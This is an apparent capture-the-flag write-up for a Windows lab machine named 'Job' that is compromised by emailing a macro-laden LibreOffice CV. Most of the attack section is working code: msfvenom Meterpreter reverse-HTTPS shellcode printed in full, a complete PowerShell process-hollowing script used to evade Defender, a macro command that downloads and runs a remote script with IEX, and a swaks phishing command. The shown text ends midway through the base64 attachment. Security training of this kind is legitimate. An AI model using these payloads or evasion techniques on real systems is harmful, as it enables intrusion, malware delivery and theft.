Overview
- Type Machines
- OS Windows
- Severity Medium
- Creator xct
- Release date 2021 Nov 27 (JST)
Enumeration
Start the instance via Discord, wait around 2 minutes for the machine to start all services and let’s go:

10.10.97.227
Nmap
$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.10.97.227
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 18:52 JST
Nmap scan report for 10.10.122.11
Host is up (0.23s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: JOB, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Job.local
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=job
| Not valid before: 2025-02-15T09:49:31
|_Not valid after: 2025-08-17T09:49:31
|_ssl-date: 2025-02-16T09:55:19+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: JOB
| NetBIOS_Domain_Name: JOB
| NetBIOS_Computer_Name: JOB
| DNS_Domain_Name: job
| DNS_Computer_Name: job
| Product_Version: 10.0.20348
|_ System_Time: 2025-02-16T09:54:40+00:00
Service Info: Host: JOB; OS: Windows; CPE: cpe:/o:microsoft:windows
- Seems a server (not a DC)
- Main open ports are for SMB, WEB and also RDP. One non common port is SMTP
- Add
job.localin in /etc/hosts
SMB (445/tcp)
$ nxc smb job.local -u 'guest' -p '' --shares
SMB 10.10.97.227 445 JOB [*] Windows Server 2022 Build 20348 (name:JOB) (domain:job) (signing:False) (SMBv1:False)
SMB 10.10.97.227 445 JOB [-] job\guest: STATUS_ACCOUNT_DISABLED
Guest account is disabled
$ nxc smb job.local -u '' -p '' --shares
SMB 10.10.97.227 445 JOB [*] Windows Server 2022 Build 20348 (name:JOB) (domain:job) (signing:False) (SMBv1:False)
SMB 10.10.97.227 445 JOB [-] job\: STATUS_ACCESS_DENIED
SMB 10.10.97.227 445 JOB [-] IndexError: list index out of range
SMB 10.10.97.227 445 JOB [-] Error enumerating shares: Error occurs while reading from remote(104)
Anonymous enumeration is denied
WEB (80/tcp)

- Ok seems the entry point should be related to the Mail service.
career@job.localshould be the contact email.- Maybe a crafted malicious Libre Office CV can be a potential attack vector.
LibreOffice Macro RCE (jack.black) (Job_User)
We will create a malicious LibreOffice documents with a .odt extension.
We have different way to do that, manually or using some tool like Metasploit framework.
Looking at SMTP, it seems as though the server seems to have open relay enabled:
$ telnet job.local 25
Trying 10.10.97.227...
Connected to 10.10.97.227.
Escape character is '^]'.
220 JOB ESMTP
HELP
211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
Way 1 - with Metasploit
Create a Meterpreter shellcode with a powershell format:
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.8.4.253 LPORT=443 -f ps1 -v SHELLCODE
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 808 bytes
Final size of ps1 file: 3966 bytes
[Byte[]] $SHELLCODE = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x56,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0xe8,0x54,0x0,0x0,0x0,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x4d,0x61,0x63,0x69,0x6e,0x74,0x6f,0x73,0x68,0x3b,0x20,0x49,0x6e,0x74,0x65,0x6c,0x20,0x4d,0x61,0x63,0x20,0x4f,0x53,0x20,0x58,0x20,0x31,0x34,0x2e,0x37,0x3b,0x20,0x72,0x76,0x3a,0x31,0x33,0x33,0x2e,0x30,0x29,0x20,0x47,0x65,0x63,0x6b,0x6f,0x2f,0x32,0x30,0x31,0x30,0x30,0x31,0x30,0x31,0x20,0x46,0x69,0x72,0x65,0x66,0x6f,0x78,0x2f,0x31,0x33,0x33,0x2e,0x30,0x0,0x59,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xb,0x0,0x0,0x0,0x31,0x30,0x2e,0x38,0x2e,0x34,0x2e,0x32,0x35,0x33,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xab,0x0,0x0,0x0,0x2f,0x46,0x42,0x7a,0x41,0x34,0x63,0x38,0x32,0x56,0x37,0x59,0x32,0x52,0x7a,0x64,0x46,0x55,0x64,0x66,0x39,0x31,0x41,0x64,0x61,0x37,0x54,0x34,0x67,0x58,0x44,0x6d,0x45,0x6f,0x31,0x4a,0x6a,0x59,0x49,0x71,0x57,0x65,0x68,0x52,0x77,0x6b,0x78,0x6c,0x45,0x39,0x69,0x55,0x32,0x38,0x32,0x71,0x36,0x6f,0x42,0x6e,0x68,0x5f,0x63,0x78,0x56,0x33,0x4f,0x71,0x33,0x2d,0x76,0x63,0x48,0x59,0x76,0x73,0x6a,0x51,0x64,0x4d,0x6c,0x54,0x6d,0x41,0x6d,0x6a,0x68,0x70,0x34,0x4c,0x57,0x37,0x2d,0x35,0x73,0x58,0x2d,0x42,0x53,0x34,0x5a,0x4f,0x65,0x64,0x68,0x68,0x5f,0x49,0x46,0x79,0x56,0x32,0x35,0x49,0x56,0x32,0x48,0x53,0x72,0x59,0x42,0x35,0x33,0x63,0x4f,0x74,0x37,0x5f,0x54,0x46,0x4d,0x48,0x51,0x39,0x63,0x6c,0x6e,0x32,0x56,0x68,0x71,0x5a,0x37,0x67,0x72,0x63,0x73,0x7a,0x37,0x4f,0x48,0x48,0x6d,0x45,0x69,0x66,0x33,0x4b,0x69,0x57,0x65,0x7a,0x70,0x78,0x51,0x66,0x78,0x39,0x74,0x52,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
In order to bypass Defender, we use DynWin32-ShellcodeProcessHollowing.ps1(PowerShell implementation of shellcode based Process Hollowing that only relies on dynamically resolved Win32 API functions).
We edit it then add our shellcode:
$ cat rshell.txt
[Byte[]] $SHELLCODE = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x56,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0xe8,0x54,0x0,0x0,0x0,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x4d,0x61,0x63,0x69,0x6e,0x74,0x6f,0x73,0x68,0x3b,0x20,0x49,0x6e,0x74,0x65,0x6c,0x20,0x4d,0x61,0x63,0x20,0x4f,0x53,0x20,0x58,0x20,0x31,0x34,0x2e,0x37,0x3b,0x20,0x72,0x76,0x3a,0x31,0x33,0x33,0x2e,0x30,0x29,0x20,0x47,0x65,0x63,0x6b,0x6f,0x2f,0x32,0x30,0x31,0x30,0x30,0x31,0x30,0x31,0x20,0x46,0x69,0x72,0x65,0x66,0x6f,0x78,0x2f,0x31,0x33,0x33,0x2e,0x30,0x0,0x59,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xb,0x0,0x0,0x0,0x31,0x30,0x2e,0x38,0x2e,0x34,0x2e,0x32,0x35,0x33,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xab,0x0,0x0,0x0,0x2f,0x46,0x42,0x7a,0x41,0x34,0x63,0x38,0x32,0x56,0x37,0x59,0x32,0x52,0x7a,0x64,0x46,0x55,0x64,0x66,0x39,0x31,0x41,0x64,0x61,0x37,0x54,0x34,0x67,0x58,0x44,0x6d,0x45,0x6f,0x31,0x4a,0x6a,0x59,0x49,0x71,0x57,0x65,0x68,0x52,0x77,0x6b,0x78,0x6c,0x45,0x39,0x69,0x55,0x32,0x38,0x32,0x71,0x36,0x6f,0x42,0x6e,0x68,0x5f,0x63,0x78,0x56,0x33,0x4f,0x71,0x33,0x2d,0x76,0x63,0x48,0x59,0x76,0x73,0x6a,0x51,0x64,0x4d,0x6c,0x54,0x6d,0x41,0x6d,0x6a,0x68,0x70,0x34,0x4c,0x57,0x37,0x2d,0x35,0x73,0x58,0x2d,0x42,0x53,0x34,0x5a,0x4f,0x65,0x64,0x68,0x68,0x5f,0x49,0x46,0x79,0x56,0x32,0x35,0x49,0x56,0x32,0x48,0x53,0x72,0x59,0x42,0x35,0x33,0x63,0x4f,0x74,0x37,0x5f,0x54,0x46,0x4d,0x48,0x51,0x39,0x63,0x6c,0x6e,0x32,0x56,0x68,0x71,0x5a,0x37,0x67,0x72,0x63,0x73,0x7a,0x37,0x4f,0x48,0x48,0x6d,0x45,0x69,0x66,0x33,0x4b,0x69,0x57,0x65,0x7a,0x70,0x78,0x51,0x66,0x78,0x39,0x74,0x52,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
filter Get-Type ([string]$dllName,[string]$typeName)
{
if( $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals($dllName) )
{
$_.GetType($typeName)
}
}
function Get-Function
{
Param(
[string] $module,
[string] $function
)
if( ($null -eq $GetModuleHandle) -or ($null -eq $GetProcAddress) )
{
throw "Error: GetModuleHandle and GetProcAddress must be initialized first!"
}
$moduleHandle = $GetModuleHandle.Invoke($null, @($module))
$GetProcAddress.Invoke($null, @($moduleHandle, $function))
}
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr,
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes,
[Parameter(Position = 2)] [Type] $retType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Obtain the required types via reflection
$assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
$unsafeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.UnsafeNativeMethods'
$nativeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods'
$startupInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods+STARTUPINFO'
$processInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.SafeNativeMethods+PROCESS_INFORMATION'
# Obtain the required functions via reflection: GetModuleHandle, GetProcAddress and CreateProcess
$GetModuleHandle = $unsafeMethodsType.GetMethod('GetModuleHandle')
$GetProcAddress = $unsafeMethodsType.GetMethod('GetProcAddress', [reflection.bindingflags]'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @([System.IntPtr], [string]), $null);
$CreateProcess = $nativeMethodsType.GetMethod("CreateProcess")
# Obtain the function addresses of the required hollowing functions
$ResumeThreadAddr = Get-Function "kernel32.dll" "ResumeThread"
$ReadProcessMemoryAddr = Get-Function "kernel32.dll" "ReadProcessMemory"
$WriteProcessMemoryAddr = Get-Function "kernel32.dll" "WriteProcessMemory"
$ZwQueryInformationProcessAddr = Get-Function "ntdll.dll" "ZwQueryInformationProcess"
# Create the delegate types to call the previously obtain function addresses
$ResumeThread = Get-Delegate $ResumeThreadAddr @([IntPtr])
$WriteProcessMemory = Get-Delegate $WriteProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int32], [IntPtr])
$ReadProcessMemory = Get-Delegate $ReadProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int], [IntPtr]) ([Bool])
$ZwQueryInformationProcess = Get-Delegate $ZwQueryInformationProcessAddr @([IntPtr], [Int], [Byte[]], [UInt32], [UInt32]) ([Int])
# Instantiate the required structures for CreateProcess and use them to launch svchost.exe
$startupInformation = $startupInformationType.GetConstructors().Invoke($null)
$processInformation = $processInformationType.GetConstructors().Invoke($null)
$cmd = [System.Text.StringBuilder]::new("C:\\Windows\\System32\\svchost.exe")
$CreateProcess.Invoke($null, @($null, $cmd, $null, $null, $false, 0x4, [IntPtr]::Zero, $null, $startupInformation, $processInformation))
# Obtain the required handles from the PROCESS_INFORMATION structure
$hThread = $processInformation.hThread
$hProcess = $processInformation.hProcess
# Create a buffer to hold the PROCESS_BASIC_INFORMATION structure and call ZwQueryInformationProcess
$processBasicInformation = [System.Byte[]]::CreateInstance([System.Byte], 48)
$ZwQueryInformationProcess.Invoke($hProcess, 0, $processBasicInformation, $processBasicInformation.Length, 0)
# Locate the image base address. The address of the PEB is the second element within the PROCESS_BASIC_INFORMATION
# structure (e.g. offset 0x08 within the $processBasicInformation buffer on x64). Within the PEB, the base image
# addr is located at offset 0x10.
$imageBaseAddrPEB = ([IntPtr]::new([BitConverter]::ToUInt64($processBasicInformation, 0x08) + 0x10))
# Use ReadProcessMemory to read the required part of the PEB. We allocate already a buffer for 0x200
# bytes that we will use later on. From the PEB we actually only need 0x08 bytes, as $imageBaseAddrPEB
# already points to the correct memory location. We parse the obtained 0x08 bytes as Int64 and IntPtr.
$memoryBuffer = [System.Byte[]]::CreateInstance([System.Byte], 0x200)
$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPEB, $memoryBuffer, 0x08, 0)
$imageBaseAddr = [BitConverter]::ToInt64($memoryBuffer, 0)
$imageBaseAddrPointer = [IntPtr]::new($imageBaseAddr)
# Now that we have the base address, we can read the first 0x200 bytes to obtain the PE file format header.
# The offset of the PE header is at 0x3c within the PE file format header. Within the PE header, the relative
# entry point address can be found at an offset of 0x28. We combine this with the $imageBaseAddr and have finally
# found the non relative entry point address.
$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPointer, $memoryBuffer, $memoryBuffer.Length, 0)
$peOffset = [BitConverter]::ToUInt32($memoryBuffer, 0x3c) # PE header offset
$entryPointAddrRelative = [BitConverter]::ToUInt32($memoryBuffer, $peOffset + 0x28) # Relative entrypoint
$entryPointAddr = [IntPtr]::new($imageBaseAddr + $entryPointAddrRelative) # Absolute entrypoint
# Overwrite the entrypoint with shellcode and resume the thread.
$WriteProcessMemory.Invoke($hProcess, $entryPointAddr, $SHELLCODE, $SHELLCODE.Length, [IntPtr]::Zero)
$ResumeThread.Invoke($hThread)
# Close powershell to remove it as the parent of svchost.exe
exit
Set our Metasploit listener:
$ msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST tun0; set LPORT 443; set ExitOnSession false; exploit -j"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_https
LHOST => tun0
LPORT => 443
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://10.8.4.253:443
Under our current Metasploit session, we create our malicious .odt file containing our payload:
msf6 exploit(multi/handler) > use multi/misc/openoffice_document_macro
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(multi/misc/openoffice_document_macro) > set payload windows/x64/exec
payload => windows/x64/exec
msf6 exploit(multi/misc/openoffice_document_macro) > set FILENAME cv.odt
FILENAME => cv.odt
msf6 exploit(multi/misc/openoffice_document_macro) > set SRVHOST 10.8.4.253
SRVHOST => 10.8.4.253
msf6 exploit(multi/misc/openoffice_document_macro) > set SRVPORT 8080
SRVPORT => 8080
msf6 exploit(multi/misc/openoffice_document_macro) > set LHOST 10.8.4.253
[!] Unknown datastore option: LHOST.
LHOST => 10.8.4.253
msf6 exploit(multi/misc/openoffice_document_macro) > set CMD "powershell.exe -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.8.4.253/rshell.txt');"
CMD => powershell.exe -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.8.4.253/rshell.txt');
msf6 exploit(multi/misc/openoffice_document_macro) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/openoffice_document_macro) >
[*] Using URL: http://10.8.4.253:8080/CxMUZyZaQPlU
[*] Server started.
[*] Generating our odt file for Apache OpenOffice on Windows (PSH)...
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Basic
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Basic/Standard
[*] Packaging file: Basic/Standard/Module1.xml
[*] Packaging file: Basic/Standard/script-lb.xml
[*] Packaging file: Basic/script-lc.xml
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2/accelerator
[*] Packaging file: Configurations2/accelerator/current.xml
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/META-INF
[*] Packaging file: META-INF/manifest.xml
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Thumbnails
[*] Packaging file: Thumbnails/thumbnail.png
[*] Packaging file: content.xml
[*] Packaging file: manifest.rdf
[*] Packaging file: meta.xml
[*] Packaging file: mimetype
[*] Packaging file: settings.xml
[*] Packaging file: styles.xml
[+] cv.odt stored at /home/user/.msf4/local/cv.odt
Double check that we have our 2 jobs to deliver our malicious open office document and our reverse shell listener:
msf6 exploit(multi/misc/openoffice_document_macro) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/x64/meterpreter/reverse_https https://10.8.4.253:443
1 Exploit: multi/misc/openoffice_document_macro windows/x64/exec
Copy our cv.odt to the same folder where we will start our local web server:
$ cp /home/user/.msf4/local/cv.odt .
Set a local web server:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Send our phishing email with our malicious libre office document:
$ swaks --to career@job.local --from "candidate@pwned.com" --header "CV" --body "Impressive CV for a good new hire opportunity" --attach-type application/octet-stream --attach @cv.odt --server job.local --port 25 --timeout 25s
=== Trying job.local:25...
=== Connected to job.local.
<- 220 JOB ESMTP
-> EHLO CountZero
<- 250-JOB
<- 250-SIZE 20480000
<- 250-AUTH LOGIN
<- 250 HELP
-> MAIL FROM:<candidate@pwned.com>
<- 250 OK
-> RCPT TO:<career@job.local>
<- 250 OK
-> DATA
<- 354 OK, send.
-> Date: Mon, 17 Feb 2025 19:24:23 +0900
-> To: career@job.local
-> From: candidate@pwned.com
-> Subject: test Mon, 17 Feb 2025 19:24:23 +0900
-> Message-Id: <20250217192423.040708@CountZero>
-> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
-> MIME-Version: 1.0
-> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_40708"
-> CV
->
-> ------=_MIME_BOUNDARY_000_40708
-> Content-Type: text/plain
->
-> Impressive CV for a good new hire opportunity
-> ------=_MIME_BOUNDARY_000_40708
-> Content-Type: application/octet-stream; name="cv.odt"
-> Content-Description: cv.odt
-> Content-Disposition: attachment; filename="cv.odt"
-> Content-Transfer-Encoding: BASE64
->
-> UEsDBBQAAAAIAOaaUVquPNRLdwIAAGIFAAAaAAAAQmFzaWMvU3RhbmRhcmQvTW9kdWxlMS54bWyN
-> VFFvmzAQfs+vuLGqgkkB0nZSRkqrldAqUttkTaKtrfZA4JJ4cmyKzSCa9t/nYJIStd3GA+K+u/vu
-> O9+Z0/NyReEnZoJw5hsd2zUAWcwTwha+MZ1ctrvG+Vnr9F1/GEzuRyGIOCOp9FY8ySnCaHpxPQjA
-> aDvOMEU2nM9JjDbPFo7Tn/RB230e5ytkEhS744S3Bhg63U5kYijyfU4liAlPY76xlDL1HIcrdv7M
-> fuS6rqNDjK0kFq3QN24qks4OpRFb5NFCecYyyi4iQWLj7C68AfiweQAuPo9VB9pqtVqgnnE+gyG7
-> 5lFSmQB9sgIuIBIgZKZOpoYV5MMVyuG4BgZzjR0+5Vz2CsISXghtwPCu6eOifBWnhOVbz2SJrCYG
-> CMuUciJrG1miilVGqD6V4Gfl+5HjJVJqasZ4ldhYIjhBXU2/U16o+W/iKm+b8RTaBSxJkiCDdgwH
-> 9z7Dos1nPzCWwFDaBc5iStRMe2RuPo7XQuLKvlWOrzgbZbxcf/c8dTB9nEc5lRViWnaUJBkKoSog
-> HLCcUuvXwb2dbrz+Y519h085CqnzNfGW07R6Krz6tIMMlThJIip06jMQRPESVX5dvBHZ+90bhN/A
-> NBvd1GWDqhvL7vOCUTX4cTVn8/D98adevYId1+7aJ/bRx2Ov63ZdJyhvpg/rh+jLiE6rOMvqNY9V
-> v62XQ7rMWSzVddOrY1ov9kog3UiLI4GwQHk1HUzWKe5WocI73s4GTfT63u1nHb+dtdvI/YyTtzMa
-> u9pYSy1+1/W22Zeth6W8VVf2H/03r1ct6W9dVhovCcUN9U6pWuvXekMq8B+ZM8L+u8MN0Dp19v5m
